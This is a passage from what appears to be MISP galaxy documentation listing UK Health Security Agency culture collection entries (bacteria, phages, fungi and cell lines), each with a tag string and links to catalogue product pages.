The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter jejuni bacteriophage"*

Table 27951. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-bacteriophage-12
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-bacteriophage-10
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-bacteriophage-7
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-bacteriophage-6
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-bacteriophage-4

https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-bacteriophage-3
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-bacteriophage-2
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-bacteriophage

Chryseobacterium hominis

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium hominis"*

Table 27952. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-hominis-2

Chryseobacterium joostei

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium joostei"*

Table 27953. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-joostei-2

HT29-5F7

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-5F7"*

Table 27954. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-5f7

HT29-5F12

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-5F12"*

Table 27955. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-5f12-5

HT29-5M21

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-5M21"*

Table 27956. Table References

Links

https://www.culturecollections.org.uk/nop/product/ht29-5m21

HT29-5M12

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-5M12"*

Table 27957. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-5m12

Mycobacterium chimaera

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium chimaera"*

Table 27958. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-chimaera-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-chimaera-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-chimaera

Phialemoniopsis hongkongensis (HKU39 = Type strain)

The tag is: *misp-galaxy:ukhsa-culture-collections="Phialemoniopsis hongkongensis (HKU39 = Type strain)"*

Table 27959. Table References

Links
https://www.culturecollections.org.uk/nop/product/phialemoniopsis-hongkongensis-hku39-type-strain

Fusobacterium necrophorum subsp. necrophorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium necrophorum subsp. necrophorum"*

Table 27960. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-necrophorum-subsp-necrophorum

Streptococcus agalactiae bacteriophage

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus agalactiae bacteriophage"*

Table 27961. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-13
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-30
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-29
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-28
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-27
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-25
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-24
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-23
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-22
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-21
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-20
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-19
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-18
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-17
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-16
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-15
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-10
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-9
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-12
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-11
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-8
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-7
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-6
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-14
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-5
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-4
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-3
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage-2
https://www.culturecollections.org.uk/nop/product/streptococcus-agalactiae-bacteriophage

Providencia rettgeri

The tag is: *misp-galaxy:ukhsa-culture-collections="Providencia rettgeri"*

Table 27962. Table References

Links
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-17
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-10
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-11
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-12
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-13
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-14
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-15
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-9
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-8
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-3
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-4
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-6
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-16
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-2
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-5
https://www.culturecollections.org.uk/nop/product/providencia-rettgeri-7

Klebsiella pneumoniae subsp. pneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella pneumoniae subsp. pneumoniae"*

Table 27963. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-pneumoniae-5
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-pneumoniae
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-pneumoniae-6
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-pneumoniae-3
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-pneumoniae-4
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-subsp-pneumoniae-2

Staphylococcus argenteus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus argenteus"*

Table 27964. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-argenteus

Staphylococcus schweitzeri

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus schweitzeri"*

Table 27965. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-schweitzeri

Lactobacillus gasseri

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus gasseri"*

Table 27966. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-gasseri-2
https://www.culturecollections.org.uk/nop/product/lactobacillus-gasseri

Cedecea davisae

The tag is: *misp-galaxy:ukhsa-culture-collections="Cedecea davisae"*

Table 27967. Table References

Links
https://www.culturecollections.org.uk/nop/product/cedecea-davisae-2
https://www.culturecollections.org.uk/nop/product/cedecea-davisae

Corynebacterium amycolatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium amycolatum"*

Table 27968. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-amycolatum-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-amycolatum

Lactobacillus brevis

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus brevis"*

Table 27969. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-brevis-2
https://www.culturecollections.org.uk/nop/product/lactobacillus-brevis-3
https://www.culturecollections.org.uk/nop/product/lactobacillus-brevis

Mycobacterium celatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium celatum"*

Table 27970. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-celatum-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-celatum-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-celatum

Fusobacterium necrophorum subsp. funduliforme

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium necrophorum subsp. funduliforme"*

Table 27971. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-necrophorum-subsp-funduliforme

Streptococcus dysgalactiae subsp. dysgalactiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus dysgalactiae subsp. dysgalactiae"*

Table 27972. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-dysgalactiae-5
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-dysgalactiae-3
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-dysgalactiae-4
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-dysgalactiae-2
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-dysgalactiae

Streptococcus vestibularis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus vestibularis"*

Table 27973. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-vestibularis-2
https://www.culturecollections.org.uk/nop/product/streptococcus-vestibularis

Serratia liquefaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Serratia liquefaciens"*

Table 27974. Table References

Links
https://www.culturecollections.org.uk/nop/product/serratia-liquefaciens-4
https://www.culturecollections.org.uk/nop/product/serratia-liquefaciens
https://www.culturecollections.org.uk/nop/product/serratia-liquefaciens-2

Streptococcus dysgalactiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus dysgalactiae"*

Table 27975. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-9
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-4
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-8
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-3
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-5
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-6
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-2
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-7

Geobacillus stearothermophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Geobacillus stearothermophilus"*

Table 27976. Table References

Links
https://www.culturecollections.org.uk/nop/product/geobacillus-stearothermophilus-3
https://www.culturecollections.org.uk/nop/product/geobacillus-stearothermophilus-4
https://www.culturecollections.org.uk/nop/product/geobacillus-stearothermophilus
https://www.culturecollections.org.uk/nop/product/geobacillus-stearothermophilus-2

Streptococcus dysgalactiae subsp. equisimilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus dysgalactiae subsp. equisimilis"*

Table 27977. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-20
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-2
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-15
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-14
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-12
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-10
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-16
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-5
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-4
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-19
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-18
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-17
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-7
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-8
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-11
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-13
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-9
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-6
https://www.culturecollections.org.uk/nop/product/streptococcus-dysgalactiae-subsp-equisimilis-3

Lactobacillus rhamonosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus rhamonosus"*

Table 27978. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-rhamonosus-2
https://www.culturecollections.org.uk/nop/product/lactobacillus-rhamonosus

Streptococcus massilliensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus massilliensis"*

Table 27979. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-massilliensis

Streptococcus urinalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus urinalis"*

Table 27980. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-urinalis

Streptococcus gallolyticus subsp. macedonicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus gallolyticus subsp. macedonicus"*

Table 27981. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-gallolyticus-subsp-macedonicus

Weissella viridescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Weissella viridescens"*

Table 27982. Table References

Links
https://www.culturecollections.org.uk/nop/product/weissella-viridescens-2
https://www.culturecollections.org.uk/nop/product/weissella-viridescens

Streptococcus infantis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus infantis"*

Table 27983. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-infantis

Carnobacterium divergens

The tag is: *misp-galaxy:ukhsa-culture-collections="Carnobacterium divergens"*

Table 27984. Table References

Links
https://www.culturecollections.org.uk/nop/product/carnobacterium-divergens

Streptococcus lutetiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus lutetiensis"*

Table 27985. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-lutetiensis-5
https://www.culturecollections.org.uk/nop/product/streptococcus-lutetiensis-4
https://www.culturecollections.org.uk/nop/product/streptococcus-lutetiensis-3
https://www.culturecollections.org.uk/nop/product/streptococcus-lutetiensis-2
https://www.culturecollections.org.uk/nop/product/streptococcus-lutetiensis

Bacillus cereus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus cereus"*

Table 27986. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-17
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-9
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-16
https://www.culturecollections.org.uk/nop/product/bacillus-cereus
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-2
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-7
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-12
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-11
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-8

https://www.culturecollections.org.uk/nop/product/bacillus-cereus-6
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-10
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-4
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-3
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-5
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-13
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-14
https://www.culturecollections.org.uk/nop/product/bacillus-cereus-15

Bacillus pumilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus pumilus"*

Table 27987. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-pumilus-8
https://www.culturecollections.org.uk/nop/product/bacillus-pumilus-7
https://www.culturecollections.org.uk/nop/product/bacillus-pumilus
https://www.culturecollections.org.uk/nop/product/bacillus-pumilus-6
https://www.culturecollections.org.uk/nop/product/bacillus-pumilus-2
https://www.culturecollections.org.uk/nop/product/bacillus-pumilus-3
https://www.culturecollections.org.uk/nop/product/bacillus-pumilus-4
https://www.culturecollections.org.uk/nop/product/bacillus-pumilus-5

Bacillus licheniformis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus licheniformis"*

Table 27988. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-17
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-13
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-16
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-15
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-3
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-7
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-9

https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-6
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-5
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-8
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-10
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-11
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-12
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-2
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-4
https://www.culturecollections.org.uk/nop/product/bacillus-licheniformis-14

Streptococcus constellatus subsp. viborgensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus constellatus subsp. viborgensis"*

Table 27989. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-constellatus-subsp-viborgensis

Streptococcus merionis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus merionis"*

Table 27990. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-merionis

Thermoanaerobacterium thermosaccharolyticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Thermoanaerobacterium thermosaccharolyticum"*

Table 27991. Table References

Links
https://www.culturecollections.org.uk/nop/product/thermoanaerobacterium-thermosaccharolyticum

Streptococcus pseudopneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus pseudopneumoniae"*

Table 27992. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-pseudopneumoniae

Staphylococcus condimenti

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus condimenti"*

Table 27993. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-condimenti

Staphylococcus devriesei

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus devriesei"*

Table 27994. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-devriesei

Staphylococcus fleurettii

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus fleurettii"*

Table 27995. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-fleurettii

Staphylococcus muscae

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus muscae"*

Table 27996. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-muscae

Staphylococcus piscifermentans

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus piscifermentans"*

Table 27997. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-piscifermentans

Serratia marcescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Serratia marcescens"*

Table 27998. Table References

Links
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-16
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-11
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-7
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-13
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-3
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-12
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-10
https://www.culturecollections.org.uk/nop/product/serratia-marcescens
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-6
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-4
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-5
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-8
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-9
https://www.culturecollections.org.uk/nop/product/serratia-marcescens-2

Enterobacter cloacae complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter cloacae complex"*

Table 27999. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-complex-2
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-complex

Listeria fleischmannii subsp. fleischmannii

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria fleischmannii subsp. fleischmannii"*

Table 28000. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-fleischmannii-subsp-fleischmannii

Edwardsiella tarda

The tag is: *misp-galaxy:ukhsa-culture-collections="Edwardsiella tarda"*

Table 28001. Table References

Links
https://www.culturecollections.org.uk/nop/product/edwardsiella-tarda-7
https://www.culturecollections.org.uk/nop/product/edwardsiella-tarda
https://www.culturecollections.org.uk/nop/product/edwardsiella-tarda-2
https://www.culturecollections.org.uk/nop/product/edwardsiella-tarda-3
https://www.culturecollections.org.uk/nop/product/edwardsiella-tarda-4

Streptococcus oralis subsp. tigurinus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus oralis subsp. tigurinus"*

Table 28002. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-oralis-subsp-tigurinus

Brachyspira hampsonii

The tag is: *misp-galaxy:ukhsa-culture-collections="Brachyspira hampsonii"*

Table 28003. Table References

Links
https://www.culturecollections.org.uk/nop/product/brachyspira-hampsonii
https://www.culturecollections.org.uk/nop/product/brachyspira-hampsonii-2

Atopobium vaginae

The tag is: *misp-galaxy:ukhsa-culture-collections="Atopobium vaginae"*

Table 28004. Table References

Links
https://www.culturecollections.org.uk/nop/product/atopobium-vaginae

Listeria newyorkensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria newyorkensis"*

Table 28005. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-newyorkensis

Listeria fleischmannii subsp. coloradonensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria fleischmannii subsp. coloradonensis"*

Table 28006. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-fleischmannii-subsp-coloradonensis

Staphylococcus agnetis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus agnetis"*

Table 28007. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-agnetis

Talaromyces marneffei

The tag is: *misp-galaxy:ukhsa-culture-collections="Talaromyces marneffei"*

Table 28008. Table References

Links
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei-5
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei-6
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei-7
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei-8
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei-9
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei-12
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei-31
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei-22
https://www.culturecollections.org.uk/nop/product/talaromyces-marneffei-26

Rhinocladiella mackenziei

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhinocladiella mackenziei"*

Table 28009. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhinocladiella-mackenziei
https://www.culturecollections.org.uk/nop/product/rhinocladiella-mackenziei-2
https://www.culturecollections.org.uk/nop/product/rhinocladiella-mackenziei-4
https://www.culturecollections.org.uk/nop/product/rhinocladiella-mackenziei-5
https://www.culturecollections.org.uk/nop/product/rhinocladiella-mackenziei-8

Blastomyces dermatitidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Blastomyces dermatitidis"*

Table 28010. Table References

Links
https://www.culturecollections.org.uk/nop/product/blastomyces-dermatitidis
https://www.culturecollections.org.uk/nop/product/blastomyces-dermatitidis-2
https://www.culturecollections.org.uk/nop/product/blastomyces-dermatitidis-14
https://www.culturecollections.org.uk/nop/product/blastomyces-dermatitidis-4
https://www.culturecollections.org.uk/nop/product/blastomyces-dermatitidis-5

Cladophialophora devriesii

The tag is: *misp-galaxy:ukhsa-culture-collections="Cladophialophora devriesii"*

Table 28011. Table References

Links
https://www.culturecollections.org.uk/nop/product/cladophialophora-devriesii

Emergomyces pasteurianus

The tag is: *misp-galaxy:ukhsa-culture-collections="Emergomyces pasteurianus"*

Table 28012. Table References

Links
https://www.culturecollections.org.uk/nop/product/emergomyces-pasteurianus-3

Basidiobolus ranarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Basidiobolus ranarum"*

Table 28013. Table References

Links
https://www.culturecollections.org.uk/nop/product/basidiobolus-ranarum-2
https://www.culturecollections.org.uk/nop/product/basidiobolus-ranarum

T47D-182R1

The tag is: *misp-galaxy:ukhsa-culture-collections="T47D-182R1"*

Table 28014. Table References

Links
https://www.culturecollections.org.uk/nop/product/t47d-182r1

T47D/S5

The tag is: *misp-galaxy:ukhsa-culture-collections="T47D/S5"*

Table 28015. Table References

Links
https://www.culturecollections.org.uk/nop/product/t47ds5-2

SNL 76/7

The tag is: *misp-galaxy:ukhsa-culture-collections="SNL 76/7"*

Table 28016. Table References

Links
https://www.culturecollections.org.uk/nop/product/snl-767

S_N40R2

The tag is: *misp-galaxy:ukhsa-culture-collections="S_N40R2"*

Table 28017. Table References

Links
https://www.culturecollections.org.uk/nop/product/s_n40r2

PEO1-CDDP

The tag is: *misp-galaxy:ukhsa-culture-collections="PEO1-CDDP"*

Table 28018. Table References

Links
https://www.culturecollections.org.uk/nop/product/peo1-cddp-2

NS0-Turbodoma

The tag is: *misp-galaxy:ukhsa-culture-collections="NS0-Turbodoma"*

Table 28019. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns0-turbodoma

NS0-Serum-Free

The tag is: *misp-galaxy:ukhsa-culture-collections="NS0-Serum-Free"*

Table 28020. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns0-serum-free

NS0

The tag is: *misp-galaxy:ukhsa-culture-collections="NS0"*

Table 28021. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns0

N_N20R1

The tag is: *misp-galaxy:ukhsa-culture-collections="N_N20R1"*

Table 28022. Table References

Links
https://www.culturecollections.org.uk/nop/product/n_n20r1

MEF RAF1 KO

The tag is: *misp-galaxy:ukhsa-culture-collections="MEF RAF1 KO"*

Table 28023. Table References

Links
https://www.culturecollections.org.uk/nop/product/mef-raf1-ko

MEF Raf1 FF/FF KI

The tag is: *misp-galaxy:ukhsa-culture-collections="MEF Raf1 FF/FF KI"*

Table 28024. Table References

Links
https://www.culturecollections.org.uk/nop/product/mef-raf1-ffff-ki

MEF OGG1 KO

The tag is: *misp-galaxy:ukhsa-culture-collections="MEF OGG1 KO"*

Table 28025. Table References

Links
https://www.culturecollections.org.uk/nop/product/mef-ogg1-ko

MCF7 AREc32

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7 AREc32"*

Table 28026. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7-arec32

LF2

The tag is: *misp-galaxy:ukhsa-culture-collections="LF2"*

Table 28027. Table References

Links
https://www.culturecollections.org.uk/nop/product/lf2

HeLa9903

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa9903"*

Table 28028. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela9903

HCT 116 p300 WT

The tag is: *misp-galaxy:ukhsa-culture-collections="HCT 116 p300 WT"*

Table 28029. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-116-p300-wt

HCT 116 p300 KO Rescue

The tag is: *misp-galaxy:ukhsa-culture-collections="HCT 116 p300 KO Rescue"*

Table 28030. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-116-p300-ko-rescue

HCT 116 p300 KO [F2]

The tag is: *misp-galaxy:ukhsa-culture-collections="HCT 116 p300 KO [F2]"*

Table 28031. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-116-p300-ko-f2

HCT 116 p300 KO [F5]

The tag is: *misp-galaxy:ukhsa-culture-collections="HCT 116 p300 KO [F5]"*

Table 28032. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-116-p300-ko-f5

HCT 116 p300 KO [D10]

The tag is: *misp-galaxy:ukhsa-culture-collections="HCT 116 p300 KO [D10]"*

Table 28033. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-116-p300-ko-d10

HCT 116 BRCA2 -/- [46]

